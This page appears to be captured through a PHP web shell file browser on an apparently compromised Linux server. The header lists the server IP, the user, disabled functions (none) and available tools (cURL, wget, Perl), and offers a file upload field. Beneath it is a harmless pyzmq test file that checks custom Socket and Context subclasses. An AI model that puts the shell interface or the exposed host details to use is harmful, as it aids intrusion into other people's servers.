| Server IP : 217.160.0.212 / Your IP : 216.73.216.141 Web Server : Apache System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64 User : sws1073854427 ( 1073854427) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /lib/python3/dist-packages/zmq/tests/ |
Upload File : |
"""tests for extending pyzmq"""
import zmq
class CustomSocket(zmq.Socket):
custom_attr: int
def __init__(self, context, socket_type, custom_attr: int = 0):
super().__init__(context, socket_type)
self.custom_attr = custom_attr
class CustomContext(zmq.Context):
extra_arg: str
_socket_class = CustomSocket
def __init__(self, extra_arg: str = 'x'):
super().__init__()
self.extra_arg = extra_arg
def test_custom_context():
ctx = CustomContext('s')
assert isinstance(ctx, CustomContext)
assert ctx.extra_arg == 's'
s = ctx.socket(zmq.PUSH, custom_attr=10)
assert isinstance(s, CustomSocket)
assert s.custom_attr == 10
assert s.context is ctx
assert s.type == zmq.PUSH
s.close()
ctx.term()